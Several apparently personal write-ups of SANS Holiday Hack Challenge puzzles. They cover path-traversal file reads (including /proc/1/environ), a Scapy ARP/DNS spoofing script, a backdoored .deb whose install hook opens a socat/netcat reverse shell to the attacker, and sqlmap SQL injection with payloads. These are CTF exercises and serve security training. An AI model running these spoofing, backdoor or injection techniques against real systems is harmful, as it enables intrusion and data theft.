This helps me to identify that the source code handling the incoming requests are located at /app/lib/app.rb, which is going to be very useful later on. The hints earlier mention that it should be possible to download this file somehow through one of the API endpoints, I figured this should be the result of some sort of Local File Inclusion (LFI) vulnerability. To look for this endpoint, I look at the image upload functionality more closely by uploading a valid png image while simultaneously observing the network requests in the Networking Tab of the Developer console:

I notice that the first request was to the /upload endpoint. Once complete, the image was saved on the server, assigned a UUID and finally returned as a response. Next, there is a new request to same image UUID that was just returned via this other API endpoint: /image?id=<Random-UUID>.png which fetches the image from the server to display it. I take note of this and then decide to read more about LFI vulnerabilities in Web Applications. This article is especially useful from OWASP about Testing Directory Traversal File Include. Using this new information, I fire up a terminal on my laptop and use cURL to craft some test requests to this /image endpoint to see what kind of response comes back. On the very first try it looks quite promising:

1▶ curl https://tag-generator.kringlecastle.com/image?id=
2<h1>Something went wrong!</h1>
3<p>Error in /app/lib/app.rb: Is a directory @ io_fread - /tmp/</p>

The ERROR message after sending an empty id parameter reveals quite a lot actually! It shows that the Local File Inclusion / Directory Traversal exploit is be possible through this endpoint. Also, it shows that uploads are stored in /tmp/ directory.

Note that it is essential to use cURL instead of the browser because the API response always has this Content-Type: image/jpeg header set, which confuses browsers to interpret the payload as an image.

Finally, I use the intel I gathered to successfully retrieve the Ruby source code of the Web Application:

1▶ curl https://tag-generator.kringlecastle.com/image?id=../app/lib/app.rb
2# encoding: ASCII-8BIT
3
4TMP_FOLDER = '/tmp'
5FINAL_FOLDER = '/tmp'
6
7# Don't put the uploads in the application folder
8Dir.chdir TMP_FOLDER
9...

After fetching the file I examine it closer to see if I can find more clues for retrieving the contents of the GREETZ env variable. In fact, there are some commented lines from Jack in the handle_zip function that look promising:

# I wonder what this will do? --Jack
# if entry.name !~ /^[a-zA-Z0-9._-]+$/
# raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
# end

Eventually, I give up trying to figure out how this would work to my advantage. Nevertheless, I am still able to exfil the ENV variable via the same LFI vulnerability that allowed me to extract the Ruby source code.

I achieve this by remembering that everything is a file in Linux. I first try to extract /etc/environment which is just plain empty. Then I recall that every process has its own /proc/PID/environ file for storing ENV vars, so I try to guess the PID of the Web App and to my big surprise I get it right on the first try:

 1▶ curl https://tag-generator.kringlecastle.com/image?id=../proc/1/environ --output -
 2PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
 3HOSTNAME=cbf2810b7573
 4RUBY_MAJOR=2.7
 5RUBY_VERSION=2.7.0
 6RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343
 7GEM_HOME=/usr/local/bundle
 8BUNDLE_SILENCE_ROOT_WARNING=1
 9BUNDLE_APP_CONFIG=/usr/local/bundleA
10PP_HOME=/app
11PORT=4141HOST=0.0.0.0
12GREETZ=JackFrostWasHere
13HOME=/home/app

There it is, the solution to Objective 8: JackFrostWasHere!

Quite unintentionally, I also find the same value saved to a TXT file in /tmp/greetz.txt. At first, I think that it was left there by a fellow HHC contestant, but later on the CHC folks confirmed that it was indeed Jack himself!

Anyhow, on to the next one! 😎

The Steam Tunnels

Sat, 28 Dec 2019 00:00:00 +0100

Hack that trail!

Instructions from the badge:

Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name. For hints on achieving this objective, please visit Minty’s dorm room and talk with Minty Candy Cane.

You are told you can find hints in the dorm, so you head there, but before you can enter, you need to solve the PIN at the entrance. Luckily there was an Elf who was ready to provide some hints for this:

Hey kid, it’s me, Tangle Coalbox. I’m sleuthing again, and I could use your help. Ya see, this here number lock’s been popped by someone. I think I know who, but it’d sure be great if you could open this up for me. I’ve got a few clues for you.

One digit is repeated once.

The code is a prime number.

You can probably tell by looking at the keypad which buttons are used.

To find all the primes which adhere to these constraints, I wrote a small python script that produced the below candidates:

Then I randomly tried the numbers from the bottom of the list, and the first one already opened the door. So finally you are in the dorm and you notice the same PIN is written on the wall… :D

Some hint from Minty:

Hi! I’m Minty Candycane! I just LOVE this old game! I found it on a 5 1/4” floppy in the attic. You should give it a go! If you get stuck at all, check out this year’s talks. One is about web application penetration testing. Good luck, and don’t get dysentery!

So if you click on the Terminal, it will open a browser frame with a game called The Holiday Hack Trail. You are tasked to solve it. There are 3 modes, Easy, Medium and Hard. As you increase difficulty, you need to solve the same problem with less and less resources (money). On Easy mode, it was rather trivial, on Medium it needed some effort, while on Hard I am not sure if it is possible to solve without some hacking. Instructions on the starting screen:

It's nearly time for Kringlecon.
You need to get there before the 25th day of December!
Hitch up your reindeer, gather your supplies, and do your best to make it to the North Pole on time.
Good luck!

If you select Easy mode, you will notice that the URL contains a bunch of parameters. Apparently, the game in this mode is controlled via URL parameters, which are easy to mess with

hhc://trail.hhc/store/?difficulty=0&distance=0&money=5000&pace=0&curmonth=7&curday=1&reindeer=2&runners=2&ammo=100&meds=20&food=400&name0=Ryan&health0=100&cond0=0&causeofdeath0=&deathday0=0&deathmonth0=0&name1=Vlad&health1=100&cond1=0&causeofdeath1=&deathday1=0&deathmonth1=0&name2=Jane&health2=100&cond2=0&causeofdeath2=&deathday2=0&deathmonth2=0&name3=Chris&health3=100&cond3=0&causeofdeath3=&deathday3=0&deathmonth3=0

Particularly interesting is the second parameter: distance. Turns out if you start the game, then modify this parameter, your position will suddenly jump to the position you entered for this param. The goal is to travel 8000 units of distance. If you modify it to be 7999 and then hit Go one more time, then you win straight away. On Medium and Hard modes, this hack is not available however, but for our purposes, this was enough, as solving it on Easy mode already gives you the hints necessary to progress to solving the main Objective.

You made it - congrats! Have you played with the key grinder in my room? Check it out! It turns out: if you have a good image of a key, you can physically copy it. Maybe you’ll see someone hopping around with a key here on campus. Sometimes you can find it in the Network tab of the browser console. Deviant has a great talk on it at this year’s Con. He even has a collection of key bitting templates for common vendors like Kwikset, Schlage, and Yale.

So the room which hides the entrance to the Steam Tunnels is at the end of the hallway where Minty is, and it seems you will need to do some key crafting. Also mentioned by Minty is a KringleCon talk by Deviant Ollam, about physical security around keys and how can one go about copying them.

Bitting those keys!

So once you enter the room, you will notice a small key bitting device on the table, which is useful for crafting keys. You will need it for opening the door to the Steam Tunnels, which hides in the next room, where that character is hopping into:

Before you start working on the challenge, be sure to spend a moment to appreciate the decoration. It is quite nicely done! So then when you are ready, it’s useful to consider the hint by Minty again. Minty mentioned previously, that sometimes it’s enough to have a good image of a key, in order to copy it, not necessary to have physical access. If you watched the youtube video from the hint, then you will definitely know what to do.

The last thing you need to realise is that the character hopping into the room, wears a key on his waist. If you open the Developer tools of your browser and check the source of that object you will discover that he is the Krampus and if you want to see his key properly, just visit:

https://2019.kringlecon.com/images/avatars/elves/krampus.png

Once you have the imge and get a good look at the key you can decipher it and find the correct bitting: 122520. If you enter this into the bitting machine at key.elfu.org then you will get a key which opens the entrance to the Steam Tunnels. Once you find your way to the end of the Steam Tunnel, you will meet again with Krampus Hollyfeld that is the answer to Objective 7.

Hello there! I’m Krampus Hollyfeld. I maintain the steam tunnels underneath Elf U, Keeping all the elves warm and jolly. Though I spend my time in the tunnels and smoke, In this whole wide world, there’s no happier bloke!

ARP Shenanigans

Sun, 27 Dec 2020 00:00:00 +0100

After solving the Tag Generator objective, I head back to the NetWars room to help Alabaster Snowball with his Scapy Terminal, in exchange for hints:

Hey Santa! You’ve got to check out our Scapy Present Packet Prepper! Please work through the whole thing to make sure it’s helpful for our guests! I made it so that players can help() to see how to get tasks and hints. When you’re done, maybe you can help me with this other issue I’m having.

The exact commands I enter can be found HERE. They are just wonderful for refreshing my Python/Scapy skillz ahead of the main objective. Next, I get some real good hints from Alabaster:

Oh, I see the Scapy Present Packet Prepper has already been completed! Now you can help me get access to this machine. It seems that some interloper here at the North Pole has taken control of the host. We need to regain access to some important documents associated with Kringle Castle. Maybe we should try a machine-in-the-middle attack? That could give us access to manipulate DNS responses. But we’ll still need to cook up something to change the HTTP response. I’m sure glad you’re here Santa.

With the following hints appearing in the badge:

Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it
Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host.
Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s return a DNS response resolving the request to our IP.
The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in /home/guest/scripts.
The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file

First I spend some time wrapping my head around the overall design of this challenge. I end up crafting the below diagram to help with this:

Arrows are explained below:

The victim (right) sends an ARP request every second to find the MAC of IP: 10.6.6.53 (supposedly a local DNS server)
As the attacker (left) I spoof the ARP response with my own MAC: 4c:24:57🆎ed:84
The victim starts sending DNS queries asking for the IP address of: ftp.osuosl.org
As the attacker I craft spoofed DNS responses to answer these queries with my own IP: 10.6.6.35
The victim tries to fetch resource /pub/jfrost/backdoor/suriv_amd64.deb via an HTTP request
As the attacker I have a custom HTTP server that returns a backdoored version of netcat
The victim installs this package which starts a reverse shell session via nc 10.6.6.35 4444 -e /bin/bash
As the attacker I start a local listener via nc -lvp 4444 to accept the reverse shell connection to exfil the document

Modifying the provided python scripts to achieve the ARP spoofing is quite straightforward. The DNS part requires a bit more effort, but the provided pcap examples help a lot:

 1#!/usr/bin/python3
 2from scapy.all import *
 3import netifaces as ni
 4import uuid
 5
 6ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
 7macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
 8spoofed_ip = "10.6.6.53"
 9spoofed_domain = 'ftp.osuosl.org'
10
11def handle_pkt(packet):
12 response = None
13 if ARP in packet and packet[ARP].op == 1:
14 print(f"Spoofed APR response for {spoofed_ip} with own MAC {macaddr}")
15 ether_resp = Ether(dst=packet.hwsrc, type=0x806, src=macaddr)
16 arp_response = ARP(op=2, hwsrc=macaddr, hwdst=packet.hwsrc, psrc=spoofed_ip, pdst='10.6.6.35')
17 response = ether_resp / arp_response
18 else:
19 print(f"Spoofed DNS response for {spoofed_domain} with own IP {ipaddr}")
20 eth = Ether(src=macaddr, dst=packet[Ether].src)
21 ip = IP(dst=packet[IP].src, src=spoofed_ip)
22 udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
23 dns = DNS(
24 id=packet[DNS].id, rd=1, qdcount=1, ancount=1, qr=1, ra=1, qd=packet[DNS].qd,
25 an=DNSRR(rrname='ftp.osuosl.org', type='A', rclass='IN', rdata=ipaddr, ttl=82159)
26 )
27 response = eth / ip / udp / dns
28 sendp(response, iface="eth0", verbose=0)
29
30def main():
31 berkeley_packet_filter = "(" + " and ".join([
32 "udp dst port 53", "udp[10] & 0x80 = 0", "dst host {}".format(spoofed_ip), "ether dst host {}".format(macaddr)
33 ]) + ") or (arp[6:2] = 1)"
34 sniff(filter=berkeley_packet_filter, prn=handle_pkt, store=0, iface="eth0", count=0)
35
36if __name__ == "__main__":
37 main()

Next, following this guide I create the backdoored .deb package which will be served by my rogue web server. It is rather straightforward as I can reuse one of the existing packages on the terminal.

First, I make it work via netcat but then I change to socat because it’s able to establish a full-featured TTY instead of just the text output of the typed commands. This link offers great tips on setting up both netcat and socat in reverse shells!

To make it repeatable, I craft the below script that takes care of every step, including the creation of the backdoored package, the starting of the ARP & DNS spoofing script, the starting of the web server and finally starting the socat listener for accepting the reverse shell:

 1dpkg -x debs/socat_1.7.3.3-2_amd64.deb socat
 2ar -x debs/socat_1.7.3.3-2_amd64.deb
 3tar -xf control.tar.xz
 4rm control.tar.xz data.tar.xz debian-binary md5sums
 5
 6mkdir socat/DEBIAN
 7mv control socat/DEBIAN/
 8touch socat/DEBIAN/postinst
 9chmod 775 socat/DEBIAN/postinst
10LOCAL_IP=`ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'`
11echo "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:${LOCAL_IP}:4444" >> socat/DEBIAN/postinst
12dpkg-deb --build ./socat/
13
14mkdir -p pub/jfrost/backdoor
15mv socat.deb pub/jfrost/backdoor/suriv_amd64.deb
16
17python3 -m http.server 80 &>/dev/null & python3 spoof.py &>/dev/null &
18
19socat file:`tty`,raw,echo=0 tcp-listen:4444

Finally, I am able to open a full-featured TTY reverse shell and open the txt file to get the answer:

On to the next one! 😎

Frido Sleigh contest

Sat, 28 Dec 2019 00:00:00 +0100

Can I has cookiez?

After talking with Krampus in the Steam Tunnels you realise that he knows a lot about what is going on at Elf Uni. But before he is ready to share some intel, you need to earn his trust… so he asks you to win the Frido Sleigh contest which will award him with a lifetime supply of cookies. Sadly, however, the contest uses a CAPTEHA challenge, which stands for Completely Automated Public Turing test to tell Elves and Humans Apart. Krampus is not an elf, and neither are you, so you may need to use something advanced enough that can fool the CAPTEHA and let you bypass it …

But, before I can tell you more, I need to know that I can trust you. Tell you what – if you can help me beat the Frido Sleigh contest (Objective 8), then I’ll know I can trust you. The contest is here on my screen and at fridosleigh.com. No purchase necessary, enter as often as you want, so I am! They set up the rules, and lately, I have come to realize that I have certain materialistic, cookie needs. Unfortunately, it’s restricted to elves only, and I can’t bypass the CAPTEHA. (That’s Completely Automated Public Turing test to tell Elves and Humans Apart.) I’ve already cataloged 12,000 images and decoded the API interface. Can you help me bypass the CAPTEHA and submit lots of entries?

Links from the hint:

Frido Sleigh Contest: https://fridosleigh.com/
CAPTEHA images: https://downloads.elfu.org/capteha_images.tar.gz
Python tool to interact with the API: https://downloads.elfu.org/capteha_api.py

Basically, your task is to use Machine Learning in order to train a model that can predict the category for every image in the CAPTEHA challenge and use this to submit the correct response before the CAPTEHA times out. The python script provided is of great use, but the core ML code is missing and it is not trivial to implement. Lucky for you, there is a KringleCon talk about Machine Learning for Security, which points to a Github Repository with some very useful code for this missing part:

https://github.com/chrisjd20/img_rec_tf_ml_demo

This library implements image recognition based on Machine Learning with TensorFlow, and it is almost a copy paste solution for this CAPTEHA python script that has some missing parts. You just need to train the model on the 12000 sample images provided by Krampus. The repo provides the training source code, as well as the prediction you can reuse in the script for interacting with the Frido Sleigh API.

A complete solution can be found in my GitHub repo. Most important part is the integrated ML section:

graph = load_graph('/tmp/retrain_tmp/output_graph.pb')
labels = load_labels("/tmp/retrain_tmp/output_labels.txt")
# Load up our session
input_operation = graph.get_operation_by_name("import/Placeholder")
output_operation = graph.get_operation_by_name("import/final_result")
sess = tf.compat.v1.Session(graph=graph)
# Can use queues and threading to spead up the processing
q = queue.Queue()
#Going to interate over each of our images.
for image in b64_images:
image_uuid = image["uuid"]
print('Processing Image {}'.format(image_uuid))
# We don't want to process too many images at once. 10 threads max
while len(threading.enumerate()) > 10:
time.sleep(0.0001)
#predict_image function is expecting png image bytes so we read image as 'rb' to get a bytes object
image_bytes = base64.b64decode(image["base64"])
threading.Thread(target=predict_image, args=(q, sess, graph, image_bytes, image_uuid, labels, input_operation, output_operation)).start()
print('Waiting For Threads to Finish...')
while q.qsize() < len(b64_images):
time.sleep(0.001)
#getting a list of all threads returned results
prediction_results = [q.get() for x in range(q.qsize())]
#do something with our results... Like print them to the screen.
predicted_uuids = []
for prediction in prediction_results:
if prediction['prediction'] in challenge_image_types:
predicted_uuids.append(prediction['image_uuid'])

When you run the script, don’t forget to edit the yourREALemailAddress variable as the Frido Sleigh contest will send you the code at this real email address.

Once you receive the email from them, it will contain a code that you have to enter in your personal badge for solving this objective. Looks something like this: 8Ia8LiZEwvyZr2WO. After you submit it, Krampus will finally know that he can trust you, and is now ready to share some further information with you:

You did it! Thank you so much. I can trust you! To help you, I have flashed the firmware in your badge to unlock a useful new feature: magical teleportation through the steam tunnels. As for those scraps of paper, I scanned those and put the images on my server. I then threw the paper away. Unfortunately, I managed to lock out my account on the server. Hey! You’ve got some great skills. Would you please hack into my system and retrieve the scans? I give you permission to hack into it, solving Objective 9 in your badge. And, as long as you’re traveling around, be sure to solve any other challenges you happen across.

ARP Shenanigans

Sun, 27 Dec 2020 00:00:00 +0100

Initially, I have absolutely no clue how to get started on this. The description does not mention any elf to get hints, as for most previous challenges. I check Discord where I see a suggestion to solve the Elf Code terminal next to Ribb Bonbowford so I proceed with that:

Hello - my name is Ribb Bonbowford. Nice to meet you! Are you new to programming? It’s a handy skill for anyone in cyber security. This challenge centers around JavaScript. Take a look at this intro and see how far it gets you! Ready to move beyond elf commands? Don’t be afraid to mix in native JavaScript.

The game itself is quite simple at first:

The task is to use the character to collect all lollipops by solving challenges to unlock trapdoors and bribe munchkins. My workspace is a small text window where I can write JavaScript code, to give instructions to the character. Ribb has some further helpful thoughts to share:

Trying to extract only numbers from an array? Have you tried to filter? Maybe you need to enumerate an object’s keys and then filter? Getting hung up on number of lines? Maybe try to minify your code. Is there a way to push array items to the beginning of an array? Hmm… Maybe you need to enumerate an object’s keys and then filter? Getting hung up on number of lines? Maybe try to minify your code. Is there a way to push array items to the beginning of an array? Hmm…

Plus a few useful links that appeared in the badge:

Want to learn a useful language? JavaScript is a great place to start! You can also test out your code using a JavaScript playground.
Did you try the JavaScript primer? There’s a great section on looping.
There’s got to be a way to filter for specific typeof items in an array. Maybe the typeof operator could also be useful?
In JavaScript you can enumerate an object’s keys using keys, and filter the array using filter.

At first, I am not really getting the hang of it, but by the time I reach Level 4-5 I realize that it’s actually a pretty nice game that forces me to think about efficient solutions. Below is my code for the last two bonus levels:

// ---------Level 7 - Spiral -------- //
function sum(dataa) {
var sum = 0;
for (var i = 0; i < dataa.length; i++) {
for (var j = 0; j < dataa[i].length; j++) { if (typeof(dataa[i][j]) === 'number') sum += dataa[i][j] }
}
return sum
}
var index = 0;
for (i = 1; i <= 8; i++) {
if (index % 4 == 0) elf.moveDown(i)
if (index % 4 == 1) elf.moveLeft(i)
if (index % 4 == 2) elf.moveUp(i)
if (index % 4 == 3) elf.moveRight(i)
elf.pull_lever(i - 1)
index++
}
elf.moveUp(2); elf.moveLeft(4); elf.tell_munch(sum); elf.moveUp(1)
// --------Level 8 - Zig-Zag --------- //
function parser(input) {
var solution = ""
for (var i = 0; i < input.length; i++) {
item = input[i]
Object.keys(item).forEach(function(key, i) { if (item[key] === "lollipop") solution = key });
}
return solution
}
var leverSum = 0;
var counter = 0;
for (i of [1, 3, 5, 7, 9, 11]) {
if (counter % 2 == 0) elf.moveRight(i)
if (counter % 2 == 1) elf.moveLeft(i)
leverSum += elf.get_lever(counter)
elf.pull_lever(leverSum)
elf.moveUp(2)
counter++
}
elf.tell_munch(parser); elf.moveRight(11)

After all the levels are complete Ribb is ready to share some hints on the santavator:

Wow - are you a JavaScript developer? Great work! Hey, you know, you might use your JavaScript and HTTP manipulation skills to take a crack at bypassing the Santavator’s S4.

Wait a second, these are hints for Objective 4!!

Hmm, never mind it was a fun game after all… 🤓

I head back to the Santavator to inspect the Santavator again. My idea at this point is to visit it both as Santa and my non-Santa character to see how it behaves differently.

Next, I notice that the elevator window is loaded into an iframe with address elevator.kringlecastle.com. I proceed to investigate the javascript code that’s loaded and find the below section that is quite interesting:

This code makes an AJAX request in the background only if the button is powered (the S4 stream is functional) and the besanta token is present. Looking further into it I find the implementation of the hasToken() check:

// --- code from conduit.js --- //
const __PARSE_URL_VARS__ = () => {
let vars = {};
var parts = window.location.href.replace(/[?&]+([^=&]+)=([^&]*)/gi, function(m,key,value) {
vars[key] = value;
});
return vars;
}
// --- code from app.js --- //
const getParams = __PARSE_URL_VARS__();
let tokens = (getParams.tokens || '').split(',');
const hasToken = name => tokens.indexOf(name) !== -1;

Basically, it parses all the URL parameters and saves them into the tokens variable for later use. Looking further into the iframe I find where the tokens variable is populated and see that it contains besanta as I was looking at it in Santa mode:

It seems all I need to do is tweaking the iframe source to inject an extra besanta string to the tokens parameter while in non-Santa mode(!).

The plan works, and I successfully impersonate 🎅🏻 and bypass the fingerprint reader to visit Santa’s office in disguise. While there I take a nice selfie just for fun:

On to the next one! 😎

PS: In this moment, when the above selfie is taken, I finally understand why I chose this funky face for my avatar … 😛

Paper Scraps Hunting

Sat, 28 Dec 2019 00:00:00 +0100

Graylog to the rescue

After solving the CAPTEHA and winnit a lifetime supply of cookiez for Krampus, he provided you with some further clues. He first pointed you to some paper scraps he found in the vents, which he collected by using the Turtle Doves… Then he mentions that he stored some scanned copies of the paper scrps on his server at: studentportal.elfu.org. However, he forgot his access credentials, so he asked you to hack your way in and retrieve those images:

Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there. What is the name of Santa’s cutting-edge sleigh guidance system? For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.

If you need, you can get further hints by visiting Pepper Minstix in the dormitory. Luckily you don’t need to walk anymore, as Krampus updated your badge with a new firmware, that lets you teleport within the Elf University Campus… How cool is that!

Once you talk with Minstix, he says hge will help you out, but only after you help him with some issue he is facing:

It’s me - Pepper Minstix. Normally I’m jollier, but this Graylog has me a bit mystified. Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala. Some Elf U computers were hacked, and I’ve been tasked with performing incident response. Can you help me fill out the incident response report using our instance of Graylog? It’s probably helpful if you know a few things about Graylog. Event IDs and Sysmon are important too. Have you spent time with those? Don’t worry - I’m sure you can figure this all out for me! Click on the All messages Link to access the Graylog search interface! Make sure you are searching in all messages! The Elf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner. Login with the username elfustudent and password elfustudent.

To solve this technical challenge, you need to get familiar with Graylog. You can do this either via the in-game terminal or by browsing to graylog.elfu.org in a new tab. In order to submit your answers though, you need to open the terminal and hover over the bottom right corner or the input forms to appear (also available at this link). For the information gathering it may be easier to navigate to the service in a separate browser tab.

To get the hints, you will need to answer these 10 questions below:

Q1 - What is the path and filename of the first malicious file downloaded by Minty?

This can be easily found by searching for the username minty, enabling TargetFileName column and browsing through the log entries later in time (towards the end of all logs available). This will eventually lead you the following answer C:\Users\minty\Downloads\cookie_recipe.exe.

Q2 - What was the ip:port the malicious file connected to first?

Within the same search results, enable columns DesinationIpAddress and DestinationPort and look for values that seem anomalous. I found the IP 192.168.247.175 and ports 4443 and 4444 that seemed out of the ordinary, so I tried and the combination 192.168.247.175:4444 was accepted as correct answer.

Q3 - What was the first command executed by the attacker?

If you examine the log entry right after the one which was proiding the IP and Port for the previous answer, you will see this CommandLine property: C:\Windows\system32\cmd.exe /c “whoami “. Seems awfully suspicious, and indeed it holds the correct answer: whoami.

Q4 - What is the one-word service name the attacker used to escalate privileges?

So to answer this I first had to Google how services can be started on Windows systems, and found that it is usually done by calling some command that stats like sc start … so I searched the Graylog server for this string and found a lot of entries involving the webexservice which was the correct answer.

Q5 - What is the path & filename of the binary ran by the attacker to dump credentials?

For this question you should search for text exe and within the results look for the string password. You should find a suspiciously named .exe called by someone, which holds the correct answer: C:\cookie.exe.

Q6 - Which account name was used to pivot to another machine?

To answer this, you should notice that not all log entries have the AccountName value, so you should search for exists: AccountName which returns log entries where this value exists. In the results you will find minty quite often but this would not be accepted, so try some others from the results, perhaps alabaster will work… :)

Q7 - What is the time (HH:MM:SS) the attacker makes a Remote Desktop connection to another machine?

For this I had to learn that in Windows environment the act of opening a remote connection via RDP causes an event to be generated with ID of 4624 and LogonType 10, so I searched for these values in Graylog with EventID: 4624 AND LogonType:10 and found the correct timestamp to be: 06:04:28.

Q8 - What is the ‘SourceHostName,DestinationHostname,LogonType’ of this connection?

For answering this question, you should look for LogonType 3 and the existence of Source and Destination hostnames. I made the following search query: LogonType: 3 AND exists:SourceHostName AND exists:DestinationHostname which gave the following solution: ELFU-RES-WKS2,elfu-res-wks3,3 (after several rounds of trial and error based on search results).

Q9 - What is the path & filename of the secret document being transferred from the third host to the second host?

First you should look for the account alabaster because the attacked was disguised under this attack, then look in the result and look for a pdf file that seems suspicious. Correct answer will be: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf.

10 - What is the IPv4 address the secret research document was exfiltrated to?

To answer this, I listed all log entries, went the the very and and turned on CommandLine and TargetIpAddress columns, in order to see that PowerShell command was used to upload this secret pdf to some website. This revealed the target IP address: 104.22.3.84.

So now the questions are answered and Pepper is ready to share some useful hints:

That’s it - hooray! Have you had any luck retrieving scraps of paper from the Elf U server? You might want to look into SQL injection techniques. OWASP is always a good resource for web attacks. For blind SQLi, I’ve heard Sqlmap is a great tool. In certain circumstances though, you need custom tamper scripts to get things going!

Main objective

So Pepper Minstix hinted at the tool called sqlmap which can help us exploit vulnerable databases tied to web applications that accept input from the users. This is quite a valuable hint. Further information in the hint include:

The given target (studentportal.elfu.org) has several endpoints, which could be targeted with a Web App exploit:

studentportal.elfu.org/index.php
studentportal.elfu.org/students.php
studentportal.elfu.org/apply.php
studentportal.elfu.org/check.php

The first and the second do not accept any input, so they are not going to be very useful for this objective, however the apply.php and check.php do accept user input through HTML forms. Of these two, I first decided to take a look at the latter, as it only has one input field, which can be enough for the purpose. Do note that the HTML form in the check.php endpoint has a different target specified: application-check.php, so the sqlmap attack should be directed to this URL instead of check.php.

<form id="check" action="/application-check.php" method="get" onsubmit="submitApplication()">
<h1>Check Application Status</h1>
<div>
<label for="inputEmail">Elf Mail Address</label>
<input name="elfmail" type="email" id="inputEmail" placeholder="Email address" required="" autofocus="">
</div>
<input type="hidden" id="token" name="token" value="">
<div>
<input type="submit" value="Check Status">
</div>
</form>

In the HTML source code, notice that the submission form also has a hidden field called token, that also gets sent along the request when the button is clicked. Searching a bit further in the page source you can see a short javascript code which handles the update of this input field and the actual form submission:

function submitApplication() {
console.log("Submitting");
elfSign();
document.getElementById("check").submit();
}
function elfSign() {
var s = document.getElementById("token");
const Http = new XMLHttpRequest();
const url='/validator.php';
Http.open("GET", url, false);
http.send(null);
if (Http.status === 200) {
console.log(Http.responseText);
s.value = Http.responseText;
}
}

So now you know that when you call sqlmap and attack elfmail, you also need to set up some kind script that automatically fetches the token and inserts it into the requests, as it will be rejected otherwise. My first idea was to write a tamper script for sqlmap, which defines the custom transformation that inserts the token into the payload of each request. However, for some reason I could not get this tamper script to work, I always received Invalid or expired token error for every request generated by sqlmap.

So next, I looked around on the net for an alternative solution, and found the mitmproxy tool which has a nice python API that helped with the token injection. The github repo for the mitmproxy project has several useful examples, which helped me learn enough of the API to get going with the token injecting service. The script I used was very simple and easy to understand:

from mitmproxy import http
import requests
def request(flow: http.HTTPFlow) -> None:
# obtain the token from the validator.php endpoint
r = requests.get("https://studentportal.elfu.org/validator.php")
# insert the token into the request that is intercepted by mitmproxy
flow.request.query["token"] = r.content.decode("utf-8")

Below is a sample screenshot of the mitmproxy console when looking at a sample request that was already injected with the necessary token:

Now that the proxy is set up (IP: 192.168.56.7, PORT: 8080), it was time to let sqlmap loose on the database and find some vulnerabilities. To start the scan you need to run the following command specifying the URL and the query parameter you want to exploit (which was -p elfmail in this case):

~/sqlmap ▶ python sqlmap.py --proxy='http://192.168.56.7:8080' --url="https://studentportal.elfu.org/application-check.php?elfmail=email@example.com" -p elfmail -risk 3
___
__H__
___ ___[.]_____ ___ ___ {1.3.12.34#dev}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
 |_|V... |_| http://sqlmap.org

[*] starting @ 10:40:06 /2020-01-01/

[10:40:06] [INFO] testing connection to the target URL
[10:40:09] [INFO] target URL content is stable
[10:40:10] [INFO] heuristic (basic) test shows that GET parameter 'elfmail' might be injectable (possible DBMS: 'MySQL')
[10:40:11] [INFO] heuristic (XSS) test shows that GET parameter 'elfmail' might be vulnerable to cross-site scripting (XSS) attacks
[10:40:11] [INFO] testing for SQL injection on GET parameter 'elfmail'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) value? [Y/n]
[10:40:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:40:31] [INFO] GET parameter 'elfmail' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Your application is still pending!")
[...REDACTED FOR BREVITY...]
[10:46:19] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
GET parameter 'elfmail' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 279 HTTP(s) requests:
---
Parameter: elfmail (GET)
 Type: boolean-based blind
 Title: AND boolean-based blind - WHERE or HAVING clause
 Payload: elfmail=asd' AND 7313=7313 AND 'PMOS'='PMOS

 Type: error-based
 Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
 Payload: elfmail=asd' AND (SELECT 1941 FROM(SELECT COUNT(*),CONCAT(0x716b626b71,(SELECT (ELT(1941=1941,1))),0x7171626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'EUey'='EUey

 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: elfmail=asd' AND (SELECT 1748 FROM (SELECT(SLEEP(5)))MzkM) AND 'qFnu'='qFnu
---
[10:59:36] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.1, Nginx 1.14.2
back-end DBMS: MySQL >= 5.0

Now you can see that sqlmap, in cooperation with the mitmproxy, successfully identified the DB type and found 3 vulnerabilities in the elfmail input field:

boolean-based blind
error-based
time-based blind

Next you can use sqlmap explore the database further. Passing the flag –dbs to the same command as before will list all databases, while the flag –tables will list all the tables within a chosen database. Once you found the correct combination of flags, you can use the flag –dump to dump the table’s content. In this case these flags worked to find the paper scraps:

~/sqlmap ▶ python3 sqlmap.py --proxy=[...] --url=[...] -p elfmail -D elfu -T krampus --dump
database: elfu
Table: krampus
[6 entries]
+----+-----------------------+
| id | path |
